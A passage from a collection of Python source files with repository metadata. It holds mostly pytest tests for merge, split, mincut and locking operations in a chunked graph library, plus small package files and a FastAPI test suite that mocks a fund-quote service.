1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1)], edges=[(to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1), 0.5), (to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 0), inf), (to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 1, 0, 0), inf)]) # Chunk B create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 0, 0, 0)], edges=[(to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 0), inf)]) # Chunk C create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 1, 0, 0)], edges=[(to_label(cgraph, 1, 0, 1, 0, 0), to_label(cgraph, 1, 1, 1, 0, 0), inf), (to_label(cgraph, 1, 0, 1, 0, 0), to_label(cgraph, 1, 0, 0, 0, 0), inf)]) # Chunk D create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 1, 0, 0)], edges=[(to_label(cgraph, 1, 1, 1, 0, 0), to_label(cgraph, 1, 0, 1, 0, 0), inf)]) cgraph.add_layer(3, np.array([[0, 0, 0], [1, 0, 0], [0, 1, 0], [1, 1, 0]])) rr = cgraph.range_read_chunk(chunk_id=cgraph.get_chunk_id(layer=3, x=0, y=0, z=0)) root_ids_t0 = list(rr.keys()) assert len(root_ids_t0) == 1 child_ids = [] for root_id in root_ids_t0: cgraph.logger.debug(("root_id", root_id)) child_ids.extend(cgraph.get_subgraph_nodes(root_id)) new_roots = cgraph.remove_edges("Jane Doe", to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1), mincut=False) assert len(new_roots) == 2 assert cgraph.get_root(to_label(cgraph, 1, 1, 1, 0, 0)) == \ cgraph.get_root(to_label(cgraph, 1, 0, 1, 0, 0)) assert cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0)) == \ cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0)) @pytest.mark.timeout(30) def test_shatter(self, gen_graph): """ Create graph with edge between RG supervoxels 1 and 2 (same chunk) and edge between RG supervoxels 1 and 3 (neighboring chunks) ┌─────┬─────┐ │ A¹ │ B¹ │ │ 2━1━┿━━3 │ │ / │ │ ┌─────┬─────┐ │ | │ │ │ 4━━┿━━5 │ │ C¹ │ D¹ │ └─────┴─────┘ """ cgraph = gen_graph(n_layers=3) # Chunk A create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1)], edges=[(to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1), 0.5), (to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 0), inf), (to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 1, 0, 0), inf)]) # Chunk B create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 0, 0, 0)], edges=[(to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 0), inf)]) # Chunk C create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 1, 0, 0)], edges=[(to_label(cgraph, 1, 0, 1, 0, 0), to_label(cgraph, 1, 1, 1, 0, 0), .1), (to_label(cgraph, 1, 0, 1, 0, 0), to_label(cgraph, 1, 0, 0, 0, 0), inf)]) # Chunk D create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 1, 0, 0)], edges=[(to_label(cgraph, 1, 1, 1, 0, 0), to_label(cgraph, 1, 0, 1, 0, 0), .1)]) cgraph.add_layer(3, np.array([[0, 0, 0], [1, 0, 0], [0, 1, 0], [1, 1, 0]])) new_root_ids = cgraph.shatter_nodes("Jane Doe", atomic_node_ids=[to_label(cgraph, 1, 0, 0, 0, 0)]) cgraph.logger.debug(new_root_ids) assert len(new_root_ids) == 3 class TestGraphMergeSplit: @pytest.mark.timeout(30) def test_multiple_cuts_and_splits(self, gen_graph_simplequerytest): """ ┌─────┬─────┬─────┐ L X Y Z S L X Y Z S L X Y Z S L X Y Z S │ A¹ │ B¹ │ C¹ │ 1: 1 0 0 0 0 ─── 2 0 0 0 1 ─── 3 0 0 0 1 ─── 4 0 0 0 1 │ 1 │ 3━2━┿━━4 │ 2: 1 1 0 0 0 ─┬─ 2 1 0 0 1 ─── 3 0 0 0 2 ─┬─ 4 0 0 0 2 │ │ │ │ 3: 1 1 0 0 1 ─┘ │ └─────┴─────┴─────┘ 4: 1 2 0 0 0 ─── 2 2 0 0 1 ─── 3 1 0 0 1 ─┘ """ cgraph = gen_graph_simplequerytest rr = cgraph.range_read_chunk(chunk_id=cgraph.get_chunk_id(layer=4, x=0, y=0, z=0)) root_ids_t0 = list(rr.keys()) child_ids = [] for root_id in root_ids_t0: cgraph.logger.debug(f"root_id {root_id}") child_ids.extend(cgraph.get_subgraph_nodes(root_id)) for i in range(10): cgraph.logger.debug(f"\n\nITERATION {i}/10") cgraph.logger.debug("\n\nMERGE 1 & 3\n\n") new_roots = cgraph.add_edges("Jane Doe", [to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 1)], affinities=.9) assert len(new_roots) == 1 assert len(cgraph.get_subgraph_nodes(new_roots[0])) == 4 root_ids = [] for child_id in child_ids: root_ids.append(cgraph.get_root(child_id)) cgraph.logger.debug((child_id, cgraph.get_chunk_coordinates(child_id), root_ids[-1])) parent_id = cgraph.get_parent(child_id) cgraph.logger.debug((parent_id, cgraph.read_cross_chunk_edges(parent_id))) u_root_ids = np.unique(root_ids) assert len(u_root_ids) == 1 # ------------------------------------------------------------------ cgraph.logger.debug("\n\nSPLIT 2 & 3\n\n") new_roots = cgraph.remove_edges("John Doe", to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 1), mincut=False) assert len(np.unique(new_roots)) == 2 for root in new_roots: cgraph.logger.debug(("SUBGRAPH", cgraph.get_subgraph_nodes(root))) cgraph.logger.debug("test children") root_ids = [] for child_id in child_ids: root_ids.append(cgraph.get_root(child_id)) cgraph.logger.debug((child_id, cgraph.get_chunk_coordinates(child_id), cgraph.get_segment_id(child_id), root_ids[-1])) cgraph.logger.debug((cgraph.get_atomic_node_info(child_id))) cgraph.logger.debug("test root") u_root_ids = np.unique(root_ids) these_child_ids = [] for root_id in u_root_ids: these_child_ids.extend(cgraph.get_subgraph_nodes(root_id, verbose=False)) cgraph.logger.debug((root_id, cgraph.get_subgraph_nodes(root_id, verbose=False))) assert len(these_child_ids) == 4 assert len(u_root_ids) == 2 # ------------------------------------------------------------------ cgraph.logger.debug("\n\nSPLIT 1 & 3\n\n") new_roots = cgraph.remove_edges("Jane Doe", to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 1), mincut=False) assert len(new_roots) == 2 root_ids = [] for child_id in child_ids: root_ids.append(cgraph.get_root(child_id)) cgraph.logger.debug((child_id, cgraph.get_chunk_coordinates(child_id), root_ids[-1])) parent_id = cgraph.get_parent(child_id) cgraph.logger.debug((parent_id, cgraph.read_cross_chunk_edges(parent_id))) u_root_ids = np.unique(root_ids) assert len(u_root_ids) == 3 # ------------------------------------------------------------------ cgraph.logger.debug("\n\nMERGE 2 & 3\n\n") new_roots = cgraph.add_edges("Jane Doe", [to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 1)], affinities=.9) assert len(new_roots) == 1 root_ids = [] for child_id in child_ids: root_ids.append(cgraph.get_root(child_id)) cgraph.logger.debug((child_id, cgraph.get_chunk_coordinates(child_id), root_ids[-1])) parent_id = cgraph.get_parent(child_id) cgraph.logger.debug((parent_id, cgraph.read_cross_chunk_edges(parent_id))) u_root_ids = np.unique(root_ids) assert len(u_root_ids) == 2 for root_id in root_ids: cross_edge_dict_layers = graph_tests.root_cross_edge_test(root_id, cg=cgraph) # dict: layer -> cross_edge_dict n_cross_edges_layer = collections.defaultdict(list) for child_layer in cross_edge_dict_layers.keys(): for layer in cross_edge_dict_layers[child_layer].keys(): n_cross_edges_layer[layer].append(len(cross_edge_dict_layers[child_layer][layer])) for layer in n_cross_edges_layer.keys(): assert len(np.unique(n_cross_edges_layer[layer])) == 1 class TestGraphMinCut: # TODO: Ideally, those tests should focus only on mincut retrieving the correct edges. # The edge removal part should be tested exhaustively in TestGraphSplit @pytest.mark.timeout(30) def test_cut_regular_link(self, gen_graph): """ Regular link between 1 and 2 ┌─────┬─────┐ │ A¹ │ B¹ │ │ 1━━┿━━2 │ │ │ │ └─────┴─────┘ """ cgraph = gen_graph(n_layers=3) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0)], edges=[(to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 0), 0.5)], timestamp=fake_timestamp) # Preparation: Build Chunk B create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 0, 0, 0)], edges=[(to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 0), 0.5)], timestamp=fake_timestamp) cgraph.add_layer(3, np.array([[0, 0, 0], [1, 0, 0]]), time_stamp=fake_timestamp) # Mincut new_root_ids = cgraph.remove_edges( "Jane Doe", to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 0), [0, 0, 0], [2*cgraph.chunk_size[0], 2*cgraph.chunk_size[1], cgraph.chunk_size[2]], mincut=True) # Check New State assert len(new_root_ids) == 2 assert cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0)) != cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 0)) partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 0)) assert len(partners) == 0 partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 1, 0, 0, 0)) assert len(partners) == 0 leaves = np.unique(cgraph.get_subgraph_nodes(cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0)))) assert len(leaves) == 1 and to_label(cgraph, 1, 0, 0, 0, 0) in leaves leaves = np.unique(cgraph.get_subgraph_nodes(cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 0)))) assert len(leaves) == 1 and to_label(cgraph, 1, 1, 0, 0, 0) in leaves @pytest.mark.timeout(30) def test_cut_no_link(self, gen_graph): """ No connection between 1 and 2 ┌─────┬─────┐ │ A¹ │ B¹ │ │ 1 │ 2 │ │ │ │ └─────┴─────┘ """ cgraph = gen_graph(n_layers=3) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0)], edges=[], timestamp=fake_timestamp) # Preparation: Build Chunk B create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 0, 0, 0)], edges=[], timestamp=fake_timestamp) cgraph.add_layer(3, np.array([[0, 0, 0], [1, 0, 0]]), time_stamp=fake_timestamp) res_old = cgraph.table.read_rows() res_old.consume_all() # Mincut with pytest.raises(cg_exceptions.PreconditionError): cgraph.remove_edges( "Jane Doe", to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 0), [0, 0, 0], [2*cgraph.chunk_size[0], 2*cgraph.chunk_size[1], cgraph.chunk_size[2]], mincut=True) res_new = cgraph.table.read_rows() res_new.consume_all() assert res_new.rows == res_old.rows @pytest.mark.timeout(30) def test_cut_old_link(self, gen_graph): """ Link between 1 and 2 got removed previously (aff = 0.0) ┌─────┬─────┐ │ A¹ │ B¹ │ │ 1┅┅╎┅┅2 │ │ │ │ └─────┴─────┘ """ cgraph = gen_graph(n_layers=3) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0)], edges=[(to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 0), 0.5)], timestamp=fake_timestamp) # Preparation: Build Chunk B create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 0, 0, 0)], edges=[(to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 0), 0.5)], timestamp=fake_timestamp) cgraph.add_layer(3, np.array([[0, 0, 0], [1, 0, 0]]), time_stamp=fake_timestamp) cgraph.remove_edges("John Doe", to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 0), mincut=False) res_old = cgraph.table.read_rows() res_old.consume_all() # Mincut with pytest.raises(cg_exceptions.PreconditionError): cgraph.remove_edges( "Jane Doe", to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 0), [0, 0, 0], [2*cgraph.chunk_size[0], 2*cgraph.chunk_size[1], cgraph.chunk_size[2]], mincut=True) res_new = cgraph.table.read_rows() res_new.consume_all() assert res_new.rows == res_old.rows @pytest.mark.timeout(30) def test_cut_indivisible_link(self, gen_graph): """ Sink: 1, Source: 2 Link between 1 and 2 is set to `inf` and must not be cut. ┌─────┬─────┐ │ A¹ │ B¹ │ │ 1══╪══2 │ │ │ │ └─────┴─────┘ """ cgraph = gen_graph(n_layers=3) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0)], edges=[(to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 0), inf)], timestamp=fake_timestamp) # Preparation: Build Chunk B create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 0, 0, 0)], edges=[(to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 0), inf)], timestamp=fake_timestamp) cgraph.add_layer(3, np.array([[0, 0, 0], [1, 0, 0]]), time_stamp=fake_timestamp) original_parents_1 = cgraph.get_all_parents( to_label(cgraph, 1, 0, 0, 0, 0)) original_parents_2 = cgraph.get_all_parents( to_label(cgraph, 1, 1, 0, 0, 0)) # Mincut assert cgraph.remove_edges( "Jane Doe", to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 0), [0, 0, 0], [2 * cgraph.chunk_size[0], 2 * cgraph.chunk_size[1], cgraph.chunk_size[2]], mincut=True) is None new_parents_1 = cgraph.get_all_parents(to_label(cgraph, 1, 0, 0, 0, 0)) new_parents_2 = cgraph.get_all_parents(to_label(cgraph, 1, 1, 0, 0, 0)) assert np.all(np.array(original_parents_1) == np.array(new_parents_1)) assert np.all(np.array(original_parents_2) == np.array(new_parents_2)) class TestGraphMultiCut: @pytest.mark.timeout(30) def test_cut_multi_tree(self, gen_graph): pass class TestGraphHistory: """ These test inadvertantly also test merge and split operations """ @pytest.mark.timeout(30) def test_cut_merge_history(self, gen_graph): """ Regular link between 1 and 2 ┌─────┬─────┐ │ A¹ │ B¹ │ │ 1━━┿━━2 │ │ │ │ └─────┴─────┘ (1) Split 1 and 2 (2) Merge 1 and 2 """ cgraph = gen_graph(n_layers=3) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0)], edges=[(to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 0), 0.5)], timestamp=fake_timestamp) # Preparation: Build Chunk B create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 0, 0, 0)], edges=[(to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 0), 0.5)], timestamp=fake_timestamp) cgraph.add_layer(3, np.array([[0, 0, 0], [1, 0, 0]]), time_stamp=fake_timestamp) first_root = cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0)) assert first_root == cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 0)) timestamp_before_split = datetime.utcnow() split_roots = cgraph.remove_edges("Jane Doe", to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 0), mincut=False) assert len(split_roots) == 2 timestamp_after_split = datetime.utcnow() merge_roots = cgraph.add_edges("Jane Doe", [to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 0)], affinities=.4) assert len(merge_roots) == 1 merge_root = merge_roots[0] timestamp_after_merge = datetime.utcnow() assert len(cgraph.get_root_id_history(first_root, time_stamp_past=datetime.min, time_stamp_future=datetime.max)) == 4 assert len(cgraph.get_root_id_history(split_roots[0], time_stamp_past=datetime.min, time_stamp_future=datetime.max)) == 3 assert len(cgraph.get_root_id_history(split_roots[1], time_stamp_past=datetime.min, time_stamp_future=datetime.max)) == 3 assert len(cgraph.get_root_id_history(merge_root, time_stamp_past=datetime.min, time_stamp_future=datetime.max)) == 4 new_roots, old_roots = cgraph.get_delta_roots(timestamp_before_split, timestamp_after_split) assert(len(old_roots)==1) assert(old_roots[0]==first_root) assert(len(new_roots)==2) assert(np.all(np.isin(new_roots, split_roots))) new_roots2, old_roots2 = cgraph.get_delta_roots(timestamp_after_split, timestamp_after_merge) assert(len(new_roots2)==1) assert(new_roots2[0]==merge_root) assert(len(old_roots2)==2) assert(np.all(np.isin(old_roots2, split_roots))) new_roots3, old_roots3 = cgraph.get_delta_roots(timestamp_before_split, timestamp_after_merge) assert(len(new_roots3)==1) assert(new_roots3[0]==merge_root) assert(len(old_roots3)==1) assert(old_roots3[0]==first_root) class TestGraphLocks: @pytest.mark.timeout(30) def test_lock_unlock(self, gen_graph): """ No connection between 1, 2 and 3 ┌─────┬─────┐ │ A¹ │ B¹ │ │ 1 │ 3 │ │ 2 │ │ └─────┴─────┘ (1) Try lock (opid = 1) (2) Try lock (opid = 2) (3) Try unlock (opid = 1) (4) Try lock (opid = 2) """ cgraph = gen_graph(n_layers=3) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 1), to_label(cgraph, 1, 0, 0, 0, 2)], edges=[], timestamp=fake_timestamp) # Preparation: Build Chunk B create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 0, 0, 1)], edges=[], timestamp=fake_timestamp) cgraph.add_layer(3, np.array([[0, 0, 0], [1, 0, 0]]), time_stamp=fake_timestamp) operation_id_1 = cgraph.get_unique_operation_id() root_id = cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 1)) assert cgraph.lock_root_loop(root_ids=[root_id], operation_id=operation_id_1)[0] operation_id_2 = cgraph.get_unique_operation_id() assert not cgraph.lock_root_loop(root_ids=[root_id], operation_id=operation_id_2)[0] assert cgraph.unlock_root(root_id=root_id, operation_id=operation_id_1) assert cgraph.lock_root_loop(root_ids=[root_id], operation_id=operation_id_2)[0] @pytest.mark.timeout(30) def test_lock_expiration(self, gen_graph, lock_expired_timedelta_override): """ No connection between 1, 2 and 3 ┌─────┬─────┐ │ A¹ │ B¹ │ │ 1 │ 3 │ │ 2 │ │ └─────┴─────┘ (1) Try lock (opid = 1) (2) Try lock (opid = 2) (3) Try lock (opid = 2) with retries """ cgraph = gen_graph(n_layers=3) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 1), to_label(cgraph, 1, 0, 0, 0, 2)], edges=[], timestamp=fake_timestamp) # Preparation: Build Chunk B create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 0, 0, 1)], edges=[], timestamp=fake_timestamp) cgraph.add_layer(3, np.array([[0, 0, 0], [1, 0, 0]]), time_stamp=fake_timestamp) operation_id_1 = cgraph.get_unique_operation_id() root_id = cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 1)) assert cgraph.lock_root_loop(root_ids=[root_id], operation_id=operation_id_1)[0] operation_id_2 = cgraph.get_unique_operation_id() assert not cgraph.lock_root_loop(root_ids=[root_id], operation_id=operation_id_2)[0] assert cgraph.lock_root_loop(root_ids=[root_id], operation_id=operation_id_2, max_tries=10, waittime_s=.5)[0] @pytest.mark.timeout(30) def test_lock_renew(self, gen_graph): """ No connection between 1, 2 and 3 ┌─────┬─────┐ │ A¹ │ B¹ │ │ 1 │ 3 │ │ 2 │ │ └─────┴─────┘ (1) Try lock (opid = 1) (2) Try lock (opid = 2) (3) Try lock (opid = 2) with retries """ cgraph = gen_graph(n_layers=3) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 1), to_label(cgraph, 1, 0, 0, 0, 2)], edges=[], timestamp=fake_timestamp) # Preparation: Build Chunk B create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 0, 0, 1)], edges=[], timestamp=fake_timestamp) cgraph.add_layer(3, np.array([[0, 0, 0], [1, 0, 0]]), time_stamp=fake_timestamp) operation_id_1 = cgraph.get_unique_operation_id() root_id = cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 1)) assert cgraph.lock_root_loop(root_ids=[root_id], operation_id=operation_id_1)[0] assert cgraph.check_and_renew_root_locks(root_ids=[root_id], operation_id=operation_id_1) @pytest.mark.timeout(30) def test_lock_merge_lock_old_id(self, gen_graph): """ No connection between 1, 2 and 3 ┌─────┬─────┐ │ A¹ │ B¹ │ │ 1 │ 3 │ │ 2 │ │ └─────┴─────┘ (1) Merge (includes lock opid 1) (2) Try lock opid 2 --> should be successful and return new root id """ cgraph = gen_graph(n_layers=3) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 1), to_label(cgraph, 1, 0, 0, 0, 2)], edges=[], timestamp=fake_timestamp) # Preparation: Build Chunk B create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 0, 0, 1)], edges=[], timestamp=fake_timestamp) cgraph.add_layer(3, np.array([[0, 0, 0], [1, 0, 0]]), time_stamp=fake_timestamp) root_id = cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 1)) new_root_ids = cgraph.add_edges("Chuck Norris", [to_label(cgraph, 1, 0, 0, 0, 1), to_label(cgraph, 1, 0, 0, 0, 2)], affinities=1.) assert new_root_ids is not None operation_id_2 = cgraph.get_unique_operation_id() success, new_root_id = cgraph.lock_root_loop(root_ids=[root_id], operation_id=operation_id_2, max_tries=10, waittime_s=.5) cgraph.logger.debug(new_root_id) assert success assert new_root_ids[0] == new_root_id

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594bfb1a451c5278cb6eb0568922591b031e3438

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py

Python

office365/sharepoint/search/query/popularTenantQuery.py

wreiner/Office365-REST-Python-Client

476bbce4f5928a140b4f5d33475d0ac9b0783530

[ "MIT" ]

544

2016-08-04T17:10:16.000Z

2022-03-31T07:17:20.000Z

office365/sharepoint/search/query/popularTenantQuery.py

wreiner/Office365-REST-Python-Client

476bbce4f5928a140b4f5d33475d0ac9b0783530

[ "MIT" ]

438

2016-10-11T12:24:22.000Z

2022-03-31T19:30:35.000Z

office365/sharepoint/search/query/popularTenantQuery.py

wreiner/Office365-REST-Python-Client

476bbce4f5928a140b4f5d33475d0ac9b0783530

[ "MIT" ]

202

2016-08-22T19:29:40.000Z

2022-03-30T20:26:15.000Z

from office365.runtime.client_value import ClientValue class PopularTenantQuery(ClientValue): pass

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py

Python

platehunter/platehunter/module/__init__.py

ZombieIce/A-Stock-Plate-Crawling

e0478c720513876562ebe2a48b9f3131dad63e47

[ "MIT" ]

20

2018-10-09T18:53:01.000Z

2022-02-20T13:26:43.000Z

platehunter/platehunter/module/__init__.py

ZombieIce/A-Stock-Plate-Crawling

e0478c720513876562ebe2a48b9f3131dad63e47

[ "MIT" ]

36

2018-09-20T19:27:54.000Z

2022-01-23T14:41:39.000Z

insta_hashtag_crawler/__init__.py

point1304/insta-hashtag-crawler

ee056f91d14e19404335fcc49360942acc2e15e8

[ "MIT" ]

6

2021-09-25T14:03:57.000Z

2022-03-19T14:44:04.000Z

from .crawler import Crawler

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59987eb32850dcd0908c67453364b8a38745fe6e

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py

Python

tests/unit/test_thicket/test_finders.py

GabrielC101/filer

d506ed804d10891cea33c3884896b6f0dfa08b88

[ "MIT" ]

null

tests/unit/test_thicket/test_finders.py

GabrielC101/filer

d506ed804d10891cea33c3884896b6f0dfa08b88

[ "MIT" ]

1

2017-12-19T19:38:22.000Z

tests/unit/test_thicket/test_finders.py

GabrielC101/filer

d506ed804d10891cea33c3884896b6f0dfa08b88

[ "MIT" ]

null

from thicket import finders def test_import(): assert finders

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59d7e8494ca25c551fbec6bc143f2353d97b0f85

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py

Python

d3ct/plugins/out/__init__.py

metro-nom/d3ct

2d619b46fac7de29c031a3737570ca62e33d8c2f

[ "BSD-3-Clause" ]

null

d3ct/plugins/out/__init__.py

metro-nom/d3ct

2d619b46fac7de29c031a3737570ca62e33d8c2f

[ "BSD-3-Clause" ]

null

d3ct/plugins/out/__init__.py

metro-nom/d3ct

2d619b46fac7de29c031a3737570ca62e33d8c2f

[ "BSD-3-Clause" ]

null

# flake8: noqa from .stdout import StdOut

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ab7b6735b1b7be9de1c5c14faeb2e6fcf2f517be

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py

Python

BirdCommandTests/Resources/hello.py

hergin/BirdCommand

64e87199f27fb10a8d5c11de8b31474786a95510

[ "Apache-2.0" ]

null

BirdCommandTests/Resources/hello.py

hergin/BirdCommand

64e87199f27fb10a8d5c11de8b31474786a95510

[ "Apache-2.0" ]

2

2022-03-11T14:15:32.000Z

2022-03-19T20:17:33.000Z

BirdCommandTests/Resources/hello.py

hergin/BirdCommand

64e87199f27fb10a8d5c11de8b31474786a95510

[ "Apache-2.0" ]

null

import sys print("Hello, "+sys.argv[1]+"!")

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py

Python

app/routers/brandnewday_test.py

nbult/quotes

3bfe31a0c5c629c4883a2cf10bf582a9f16ea209

[ "MIT" ]

null

app/routers/brandnewday_test.py

nbult/quotes

3bfe31a0c5c629c4883a2cf10bf582a9f16ea209

[ "MIT" ]

1

2021-08-25T11:12:59.000Z

app/routers/brandnewday_test.py

nickybulthuis/quotes

3bfe31a0c5c629c4883a2cf10bf582a9f16ea209

[ "MIT" ]

null

import json from datetime import date, datetime import pytest import responses from fastapi.testclient import TestClient from .brandnewday import funds_cache, quote_cache from ..main import app from ..models import Quote client = TestClient(app) prefix = '/brandnewday/' @pytest.fixture(autouse=True) def clear_cache(): funds_cache.clear() quote_cache.clear() yield def setup_get_funds_response(): body = {'Message': json.dumps([{"Key": "1002", "Value": "bnd-wereld-indexfonds-c-hedged"}, {"Key": "1012", "Value": "bnd-wereld-indexfonds-c-unhedged"}])} responses.add(responses.GET, 'https://secure.brandnewday.nl/service/getfundsnew/', json=body, status=200) @responses.activate def test_get_funds_returns_funds_list(): setup_get_funds_response() response = client.get(prefix, allow_redirects=False) assert response.status_code == 200 assert response.json() == ['bnd-wereld-indexfonds-c-hedged', 'bnd-wereld-indexfonds-c-unhedged'] @responses.activate def test_get_funds_returns_502(): responses.add(responses.GET, 'https://secure.brandnewday.nl/service/getfundsnew/', body='error', status=502) response = client.get(prefix, allow_redirects=False) assert response.status_code == 502 def test_get_quotes_unknown_name_returns_http404(): setup_get_funds_response() response = client.get(prefix + 'unknown', allow_redirects=False) assert response.status_code == 404 @responses.activate def test_get_quotes_server_error_returns_http502(): setup_get_funds_response() responses.add( responses.POST, url='https://secure.brandnewday.nl/service/navvaluesforfund/', body='error', status=500 ) response = client.get(prefix + 'bnd-wereld-indexfonds-c-unhedged') assert response.status_code == 502 @responses.activate def test_get_quotes_invalid_page(): setup_get_funds_response() response = client.get(prefix + 'bnd-wereld-indexfonds-c-unhedged?page=0') assert response.status_code == 400 @responses.activate def test_get_quotes_known_name_returns_http200(): setup_get_funds_response() body = {'Data': [ {'FundId': 1012, 'FundLabel': None, 'LastRate': 13.535882, 'BidRate': 13.535882, 'AskRate': 13.535882, 'RateDate': '/Date(1616284800000)/', 'Yield': -0.2612228741355754, 'InsertedBy': None, 'Inserted': '/Date(-62135596800000)/', 'UpdatedBy': None, 'Updated': '/Date(-62135596800000)/'}, {'FundId': 1012, 'FundLabel': None, 'LastRate': 13.535846, 'BidRate': 13.535846, 'AskRate': 13.535846, 'RateDate': '/Date(1616198400000)/', 'Yield': -0.2612228741355754, 'InsertedBy': None, 'Inserted': '/Date(-62135596800000)/', 'UpdatedBy': None, 'Updated': '/Date(-62135596800000)/'}, {'FundId': 1012, 'FundLabel': None, 'LastRate': 13.535809, 'BidRate': 13.535809, 'AskRate': 13.535809, 'RateDate': '/Date(1616112000000)/', 'Yield': -0.2612228741355754, 'InsertedBy': None, 'Inserted': '/Date(-62135596800000)/', 'UpdatedBy': None, 'Updated': '/Date(-62135596800000)/'}, ], 'Total': 1224, 'AggregateResults': None, 'Errors': None} responses.add( responses.POST, url='https://secure.brandnewday.nl/service/navvaluesforfund/', json=body, headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, match=[ responses.urlencoded_params_matcher({'page': '1', 'pageSize': '60', 'fundId': '1012', 'startDate': '01-01-2010', 'endDate': date.today().strftime('%d-%m-%Y'), }) ], status=200 ) response = client.get(prefix + 'bnd-wereld-indexfonds-c-unhedged') assert len(quote_cache) == 1 assert response.status_code == 200 assert response.json() == [{'Close': 13.535882, 'Date': '2021-03-21T00:00:00'}, {'Close': 13.535846, 'Date': '2021-03-20T00:00:00'}, {'Close': 13.535809, 'Date': '2021-03-19T00:00:00'}] @responses.activate def test_get_quotes_are_cached(): setup_get_funds_response() body = {'Data': [ {'FundId': 1012, 'FundLabel': None, 'LastRate': 13.535882, 'BidRate': 13.535882, 'AskRate': 13.535882, 'RateDate': 